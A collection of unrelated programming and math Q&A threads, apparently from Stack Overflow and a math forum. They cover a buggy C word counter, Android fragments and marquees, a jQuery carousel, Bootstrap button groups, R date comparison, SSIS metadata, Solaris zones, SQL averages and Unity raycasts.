        newnode->next=NULL;
    }

    if(first==last && last==NULL)
    {
        first=last=newnode;
        first->next=NULL;
        last->next=NULL;
    }
    else
    {
        last->next=newnode;
        last=newnode;
        last->next=NULL;
    }
}

void processword(char *ch)
{
    int found=0;
    //if word is already in the list, increase the count
    for(ptr=first;ptr!=NULL;ptr=ptr->next)
        if(strcicmp(ptr->word, ch) == 0)
        {
            ptr->count += 1;
            found=1;
            break;
        }

    //if it's a new word, add the word to the list
    if(!found)
        insertnewword(ch);
}

int main()
{
    const char *delimiters=" ~`!@#$%^&*()_-+={[}]:;<,>.?/|\\\'\"\t\n\r";
    char *ch, *str;
    str=(char*)malloc(sizeof(char));
    ch=(char*)malloc(sizeof(char));

    //get the original string
    scanf("%[^\n]%*c", str);
    //fgets(str, 500, stdin);

    //get the tokenized string
    ch=strtok(str,delimiters);
    while(ch!=NULL)
    {
        //a, an, the should not be counted
        if(strcicmp("a", ch)!=0 && strcicmp("an", ch)!=0 && strcicmp("the", ch)!=0)
            processword(ch);

        ch=strtok(NULL,delimiters);
    }

    //print the word and it's occurrence count
    for(ptr=first; ptr!=NULL; ptr=ptr->next)
        printf("%s\t\t%d\n",ptr->word,ptr->count);
    return 0;
}

this seem to be working fine for few number of words, but if word count is more than 6-7, this program is encountering some problem.
Say input is : I am a good boy. I am a bad Boy.
Input should be
I 2
am 2
good 1
bad 1
boy 2
But what I am getting is
I 2
am 2
good 1
bad 1
(some garbage character) 1
I can always implement any other logic for the same problem, but I want to know the issue with this implementation.
Thanks in advance

A: I think the problem come from your scanf:
in the man scanf:
the next pointer must be a pointer to char, and there must be enough room for all the characters in the  string,  plus  a terminating  null  byte
but in the top of your main, the allocation of your char array is juste one bite long:
str=(char*)malloc(sizeof(char));
I think it would be better to use function like getline
ssize_t getline(char **lineptr, size_t *n, FILE *stream);
and setting lineptr pointing to NULL

A: I think your linked list implementation is not causing you the problems but your memory allocation is causing you the actual problems.
First memory allocation problem:
str=(char*)malloc(sizeof(char));
ch=(char*)malloc(sizeof(char));

Here str and ch should have memory to hold the complete word along with terminating null character but you have allocated only one byte(i.e. size of char)
Second memory allocation problem:
newnode->word=ch;

This code fragment is present in your insertnewword() function.
Here you have allocated memory to your new node but you have not allocated any memory to the char *word present inside new node. After that you are directly making newnode->word point to ch which is a local variable of main() function.
When you complete the first word and tokenize the input string further, ch contains next word from the string. Now this may corrupt data in your linked list as you have made newnode->word directly point to ch.
So please allocate memory to word field present in newnode and copy the contents of ch into it.
I hope this will solve your problem.


text:
Q: How to send string to EditText in Fragment after scanning in MainActivity What would be the best way to get a scanned string to my EditText in my Fragment
I tried to use bundlesbut because I want to receive the string in an existing Fragmentsomeone said it would be better to search for another way. Atm Ive got my onClickListener in my Fragmentwhicht calls my scanSerialmethod in my MainActivity. In my MainActivitythere is also the onActivityResult
inputSerial = (EditText) view.findViewById(R.id.editText_serial);
        ImageButton ib = (ImageButton) view.findViewById(R.id.button_scan_serial);
        ib.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                ((MainActivity) getActivity()).scanSerial();
            }
        });

onActivityResult & scanSerial from my MainActivity
public void onActivityResult(int requestCode, int resultCode, Intent intent) {
    super.onActivityResult(requestCode, resultCode, intent);

        if (resultCode == RESULT_OK) {
            String scanContent = intent.getStringExtra("SCAN_RESULT");
            String scanFormat = intent.getStringExtra("SCAN_RESULT_FORMAT");

            switch (requestCode){
                case (10):{
                    String[] Split = scanContent.split("\\s");
                    String product = Split[0];
                    String label = Split[1];
                    String serial = Split[2];

                    mydb.insertData(product, label, serial, mac, daaid, bill);

                    Fragment fragment;
                    FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
                    fragment = new ListViewFragment();
                    ft.replace(R.id.container, fragment);
                    ft.commitAllowingStateLoss();
                    break;
                }
                case (11):{

                    scannedResult = scanContent;

                    break;
                }
            }
        } else if (resultCode == RESULT_CANCELED) {

            Log.d("TEST", "result_canceled");
        }

}

public void scanSerial(){
    Intent intent = new Intent("com.google.zxing.client.android.SCAN");
    intent.putExtra("SCAN_FORMATS", "CODE_39,CODE_93,CODE_128,DATA_MATRIX,ITF,CODABAR,EAN_13,EAN_8,UPC_A");
    startActivityForResult(intent, 11);
}

I know that I should receive the string AFTER scanning the serial but I dont know how to do it. Can I listen if the onActivityResult method sets the scannedResult string from my Fragment?

A: If you need to scan a barcode and you're using the zxing application, it is better to use zxing's IntentIntegrator.
in your scanSerial there would be
IntentIntegrator integrator = new IntentIntegrator(getActivity());
integrator.initiateScan();

Then in your onActivityResult in MainActivity you create your new Fragment and pass the result to it
ft.commitAllowingStateLoss();
ft.onActivityResult(requestCode, resultCode, data);

or to all fragments if you need that
for (Fragment fragment : getSupportFragmentManager().getFragments()) {
        fragment.onActivityResult(requestCode, resultCode, data);
    }

Then you do your manipulations with EditText in Fragment code
IntentResult scanResult = IntentIntegrator.parseActivityResult(requestCode, resultCode, data);
    if (scanResult != null) {
        String scannedString = scanResult.getContents();
        ...
    }

A: just call your scan method and define "your_intent_code.
public void scan() {
    Intent intent = new Intent("com.google.zxing.client.android.SCAN");
    intent.putExtra("SCAN_FORMATS", "CODE_39,CODE_93,CODE_128,DATA_MATRIX,ITF,CODABAR,EAN_13,EAN_8,UPC_A");
    startActivityForResult(intent, "your_intent_code);
}

dependend on the intent code you can define the action in your onActivityResult
public void onActivityResult(int requestCode, int resultCode, Intent intent) {
        super.onActivityResult(requestCode, resultCode, intent);

            if (resultCode == RESULT_OK) {
                String scanContent = intent.getStringExtra("SCAN_RESULT");

                switch (requestCode){
                    case (your_intent_code):{
                        // DO SOMESTHING
                    }
                }
            } else if (resultCode == RESULT_CANCELED){

            }
    }

A: I use this code to scan an insert my serial. Not perfect but for the moment it works:
    inputSerial = (EditText) view.findViewById(R.id.editText_serial);
    ImageButton ib = (ImageButton) view.findViewById(R.id.button_scan_serial);
    ib.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            ((MainActivity) getActivity()).scanSerial();
        }
    });

    if ((((MainActivity) getActivity()).scannedResult) != null );{
        inputSerial.setText(((MainActivity) getActivity()).scannedResult);
    }


text:
Q: Animation stop on hover, begin on mouseout but can't hover again to repeat stop animation Working on a carousel, I have the animation and div wrapping working, but I wanted to add the ability to stop the carousel on hover and restart the animation on mouseout, however it's only working once.  Hover stops the animation, mouseout starts again, but if I hover again it won't stop.
var roundabout = setInterval(function(){
        spin()
        }, 3000);
        function spin(){
            var kerosene = document.getElementById('carousel-frame-holder');
            var s = kerosene.offsetLeft;
                if (s >= -1700 ){
                    $("#carousel-frame-holder").animate({left: (s - 600 +'px')});
                    }
                else{
                    $("#carousel-frame-holder").animate({left: (s + 1800 +'px')});
                    }
                //  interruption
                $("#carousel-view-window" ).hover(function() {
                    $("#carousel-frame-holder").stop();
                    clearInterval(roundabout);
                    });
                $("#carousel-view-window" ).mouseout(function() {
                    setInterval(function(){spin()}, 3000);
                    });
                };

              //wrap
              $('#nav-left').click(function(){
                  var kerosene = document.getElementById('carousel-frame-holder');
                  var s = kerosene.offsetLeft;
                  if (s <= -1 ){
                    $("#carousel-frame-holder").animate({left: (s + 600 +'px')});
                    }
                else {$("#carousel-frame-holder").animate({left: (s - 1800 +'px')});}

              });
              $('#nav-right').click(function(){
                  var kerosene = document.getElementById('carousel-frame-holder');
                  var s = kerosene.offsetLeft;
                  if (s >= -1700 ){
                    $("#carousel-frame-holder").animate({left: (s - 600 +'px')});
                    }
                else {$("#carousel-frame-holder").animate({left: (s + 1800 +'px')});}
              });

A: It seems like the issue is you are subscribing to the event incorrectly. jQuery hover handles the mouseenter and mouseleave events like so:
$('#carousel-view-window').hover(function(){
    //Stop Animation here
    $("#carousel-frame-holder").stop();
    clearInterval(roundabout);
  }, function(){
    //Restart Animation here
    roundabout = setInterval(function(){spin()}, 3000);
});

You don't need to subscribe to the mouseout event separately.
UPDATE
Make sure you store the interval id in the mouseleave handler so you can clear it again.


text:
Q: Biased coins: Probability such that the first player throws heads Let $A$, $B$ be the two players. Each one has a coin has a probability of getting heads of $p_i$. Player $A$ always starts first. What is the probability such that $A$ wins?
Ex. The both coins land 'heads' on average 1 out of 2 times.
The solution says $\frac{1}{2}$ as the result.
My approach was to draw a probability tree and compute the probability such that $A$ throws heads. We know, that this is geometrically distributed, but don't know how to get the result.

A: If you drawn a tree, then you can see that either $A$ wins straight away, or $A$ flips tail and $B$ also flip tail and then $A$ gets heads, ..., or $A$ and $B$ each get $j$ tails in a row and then $A$ gets heads.
So, the probability of $A$ winning is given by summing all these probabilities:
$$
\sum_{j=0}^{+\infty} \big((1 - p_A)(1 - p_B)\big)^{j} p_A
$$
Let $c = (1 - p_A)(1 - p_B) \in [0; 1]$. The above sum can be written as:
$$
p_A \sum_{j=0}^{+\infty} c^{j}
$$
Can you compute the result?

Edit: For future reference, I'm adding the result for the probability of $A$ winning:
$$
\frac{p_A}{1-c} = \frac{p_A}{p_A + p_B - p_A p_B}
$$

And, just for fun, I wondered which should be the probability when $p_A = p_B$ that makes the probability of $A$ winning equal to $1/2$.
$$
\frac{p_A}{2 p_A - p_A ^2} = \frac{1}{2}
$$
$$
2p_A = 2 p_A - p_A ^2
$$
$$
p_A ^2 = 0
$$
$$
p_A = 0
$$
Hence,
$$
\lim_{p_A \to 0} \frac{p_A}{2 p_A - p_A ^2} = \frac{1}{2}
$$
So, if the game goes on forever (in the limit $p_A \to 0$) then both players have $1/2$ probability of winning.
Furthermore, if $p_A = p_B$ the first player to toss the coin has the highest probability of winning. I.e., for $p_A \in [0; 1]$,
$$
\frac{p_A}{2 p_A - p_A ^2} \geq \frac{1}{2}
$$


text:
Q: Only one of many marquees working on android This is a follow up to question Android marquee where each letter has different color.
I actually have four of the TextViews mentioned, in three linear layouts:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:background="#000000"
    tools:context=".MainActivity" >

    <!-- ================================ Row 1 ================================ -->

    <LinearLayout style="@style/style1" >

        <TextView
            android:id="@+id/text_1"
      style="@style/style2"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_weight="0.45"
            android:ellipsize="marquee"
            android:lines="1"
            android:marqueeRepeatLimit="marquee_forever"
            android:text="@string/text_1" />
        <!-- space -->

        <View
            android:layout_width="0dp"
            android:layout_height="match_parent"
            android:layout_weight="0.1" />

        <TextView
            android:id="@+id/text_2"
      style="@style/style2"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_weight="0.45"
            android:ellipsize="marquee"
            android:lines="1"
            android:marqueeRepeatLimit="marquee_forever"
            android:text="@string/text_2" />
    </LinearLayout>

    <!-- ================================ Row 2 ================================ -->

    <LinearLayout style="@style/style1" >

        <TextView
            android:id="@+id/text_3"
      style="@style/style2"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_weight="0.45"
            android:ellipsize="marquee"
            android:lines="1"
            android:marqueeRepeatLimit="marquee_forever"
            android:text="@string/text_3" />
        <!-- space -->

        <View
            android:layout_width="0dp"
            android:layout_height="match_parent"
            android:layout_weight="0.1" />

        <TextView
            android:id="@+id/text_4"
      style="@style/style2"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_weight="0.45"
            android:ellipsize="marquee"
            android:lines="1"
            android:marqueeRepeatLimit="marquee_forever"
            android:text="@string/text_4" />
    </LinearLayout>

</LinearLayout>

In the code I have setSelected(true) for each TextView, yet only one of them is actually scrolling. The others show ... for the overflow.


text:
Q: Bootstrap 3 btn-group width I have another Bootstrap related problem.
I want to add radio and checkboxes to my form, I would like them also to take 100% width of form element.
I've added button group as this:

    Subscribe

                <input type="radio" name="options" id="option1" />Yes

                <input type="radio" name="options" id="option2" />Maybe

                <input type="radio" name="options" id="option3" />No

This gives me nice radio-like buttons:

But as You can see they have fixed width. Can this be fixed with bootstrap classes?
Again here is my sample code: http://jsfiddle.net/Misiu/yy5HZ/5/

A: Use the built in .btn-group-justified class: Offical Docs

Make a group of buttons stretch at equal sizes to span the entire
  width of its parent. Also works with button dropdowns within the
  button group.

Anchors:

    Left
    Middle
    Right

Buttons:

To use justified button groups with <button> elements, you must wrap
each button in a button group. Most browsers don't properly apply our
  CSS for justification to <button> elements, but since we support
  button dropdowns, we can work around that.

    <button type="button" class="btn btn-default">Left</button>

    <button type="button" class="btn btn-default">Middle</button>

    <button type="button" class="btn btn-default">Right</button>

JSFiddle

A: You can simply use the bootstrap col-n classes so if you have 2 buttons you use col-xs-6 on them. The problem is when you have 5 buttons for example. There is no class for that in the bootstrap grid system. So I woul use one of the following:
To differenciate between groups with different number of buttons use additional custom classes:
JSFiddle
CSS
.btn-group {
    width: 100%;
}
.btn-group-2 label.btn  {
    width: 50%;
}
.btn-group-3 label.btn  {
    width: 33.3%;
}

HTML

        <input type="radio" name="options" id="option1" />Yes

        <input type="radio" name="options" id="option2" />Maybe

        <input type="radio" name="options" id="option3" />No

If you want to avoid these css classes you can only use jQuery:
JSFiddle
$('.btn-group').each(function(index, item) {
    $(item).find('.btn').css(
        'width', 100 / $(item).find('.btn').length + '%'
    )
});

A: Another solution:
.btn-group {
    display: flex;
    flex-direction: row;
}

.btn-group > button {
    width: 100%;
}

A: For boostrap 4 the docs say you can do this:
Removed .btn-group-justified. As a replacement you can use

 as a wrapper around elements with .w-100.

A: You can just add a class of your own and give them a 33% width (for the 3 buttons) or 50% width (for the 2 buttons).

A: If @Schmalzy's solution doesn't work then you might be using Bootstrap v3.0.0, for which add the following styles in addition to the html markup in @Schmalzy's solution.
.btn-group-justified > .btn-group .btn {
    width: 100%;
}

.btn-group-justified > .btn, .btn-group-justified > .btn-group {
    display: table-cell;
    float: none;
    width: 1%;
}


text:
Q: Compare Date/Time logical, should the Date/Time must be formatted by as.POSIXct()? I have a dataframe with dim(my_data) got [1] 2075259 9
I use paste() to combine $Date and $Time, after running
my_data$DateTime <- strptime(my_data$DateTime, "%d/%m/%Y %H:%M:%S")
and the head looks like
head(my_data[, c(1,2,10)], 3)

      Date     Time            DateTime
1 16/12/2006 17:24:00 2006-12-16 17:24:00
2 16/12/2006 17:25:00 2006-12-16 17:25:00
3 16/12/2006 17:26:00 2006-12-16 17:26:00

when I run some comparison code like
my_data$DateTime[1:3] > "2007-02-02 23:59:59"
I get FALSE FALSE FALSE
But after I run library(dplyr) and trying to use
my_data1 <- filter(my_data, my_data$DateTime <= "2007-02-02 23:59:59")
the warning is
Error: Date/times must be stored as POSIXct, not POSIXlt.
Problem variables: 'DateTime'
It seems I must use my_data$DateTime <- as.POSIXct(my_data$DateTime)
and then use filter() to get the data wanted.
Confused with this because I definitely can get TRUE or FALSE by my_data$DateTime[1:3] > "Times Here" without using as.POSIXct().


text:
Q: SSIS Package External columns for component are out of synchronization I have a solution in BIDS that contains many SSIS packages.
I had to restore the database that is being used by the OLEDB connection managers in my SSIS packages. Even though, all the data structure stayed the same as before when I developed those packages, all of my packages right now are getting error/warning icons stating that "external columns for component are out of synchronization" or "column cannot convert between unicode and non-unicode string datatypes".
When I go into each individual task in the package that shows error/warning, all I have to do is click ok, and they would go away.
I have about 50 packages in the solution, so refreshing it like this for each package is a pain and time-consuming.
Is there a fast an easy way to get rid of those errors/warnings for all the packages at once?
Thanks!

A: Sorry, but since you changed the back end of it, BIDS has no way to make sure that it has the correct version of Metadata. If this package was running on a scheduled job, you wouldn't have to do this IMO.
To answer your question, there is no automatic way of doing it.


text:
Q: Solaris Non global Zone x server I am not even sure if this is possible but how can I start an X server on a non-global zone? If I run startx from within my zone. I created the xorg.conf by running /usr/X11/bin/xorgconfig
root@foo:/usr/X11/bin# startx
xauth:  creating new authority file /root/.serverauth.20957

X.Org X Server 1.5.3
Release Date: 5 November 2008
X Protocol Version 11, Revision 0
Build Operating System: SunOS 5.11 snv_108 i86pc
Current Operating System: SunOS dsol101 5.11 snv_111b i86pc
Build Date: 07 May 2009  04:44:56PM

Solaris ABI: 64-bit
SUNWxorg-server package version: 6.9.0.5.11.11100,REV=0.2009.05.07
SUNWxorg-mesa package version: 6.9.0.5.11.11100,REV=0.2009.04.02
        Before reporting problems, check http://sunsolve.sun.com/
        to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
        (++) from command line, (!!) notice, (II) informational,
        (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/Xorg.0.log", Time: Tue Nov 10 19:17:53 2009
(==) Using config file: "/etc/X11/xorg.conf"

Fatal server error:
xf86OpenConsole: Cannot open /dev/fb (No such file or directory)

A: An regular X server requires a display and input devices like a keyboard and a mouse. There are no such devices available on a non global zone and the ones available on the global zone, if any, are likely to be already used and are hardly shareable.
On the other hand, you can either launch a graphic environment on a NGZ with the X server being remote if your goal is to have a desktop running on that zone or you should be able to run one of the virtual X servers available like Xnest, Xvnc, Xvfb and perhaps Xephyr.

A: I think if you are not able to create the fb device in the zone like the follwing command(for example because you don't own the global zone) then you don't have a chance.
cp -a /devices/blah /zones/zone/devices/blah

Otherwise it might work, i get chrooted named working in a zone, but this might be more difficult issue. I come back to you if i find any solution.


text:
Q: Horizontal Average SQL View I have the following table:
ID   Value1   Value2   Value3
1    10       0        5
2    12       10       20
3    0        5        9
4    20       12       8
5    2        15       0

I want to have the following result:
ID   avgValue
1    7.5
2    14
3    7
4    13.33
5    8.5

The formula is normal average but the average calculation is always skip the zero value.
Does anybody know how to do this?
Thank you.

A: Idea is to choose denominator count based on 0 value of three columns..
http://sqlfiddle.com/#!3/d36c31/4
    select
    id,
    cast((value1+value2+value3) as float)/
    (
    case when value1>0 then 1 else 0 end
    +
    case when value2>0 then 1 else 0 end
    +
    case when value3>0 then 1 else 0 end
    )
    as avgValue

    from test

Please let me know whether it works for you..


text:
Q: RaycastAll returns something that I do not understand I'm trying to make a drag and drop area withing a movable object.
My setup looks something like this:

WhiteA is the parent of RedB, both of them have BoxCollider2D on them including the GreenC . Objects GreenC and WhiteA has RigidBody2D component on them , GreenC makes a ray cast from its Anchor point on Mouse Up, and list the items that the RaycastAll hits.
If i drag GreenC over RedB RaycastAll will return: GreenC - GreenC - WhiteA instead of: GreenC - RedB.
If i move the RedB inside WhiteA so it will overlap, still keeping the hierarchy then the result will be : GreenC - GreenC - WhiteA - WhiteA instead of: GreenC - RedB -WhiteA
I Do not understand why it wont recognize RedB , It too has a BoxCollider2D on it. It only works if RedB  has a RigidBody2D component to.
EDIT: Added Code for Bart's request
private Vector2 MousePos;

void OnMouseDrag () {

    MousePos = Camera.main.ScreenToWorldPoint (new Vector2 (Input.mousePosition.x, Input.mousePosition.y ));
    transform.position = new Vector3 (MousePos.x, MousePos.y,  transform.position.z);
}

void OnMouseUp(){
    foreach (Transform obj in HoveringOver ()) {
        print (obj.name);
    }
}

public List<Transform> HoveringOver(){

    List<RaycastHit2D > ObjectsHit = (Physics2D.RaycastAll(transform.position,  transform.TransformDirection (Vector3.down), 0)).ToList();
    List<Transform> AllObjectsHit = new List<Transform>();

    foreach (RaycastHit2D target in ObjectsHit) {
        AllObjectsHit.Add(target.transform);
    }

    return AllObjectsHit;
}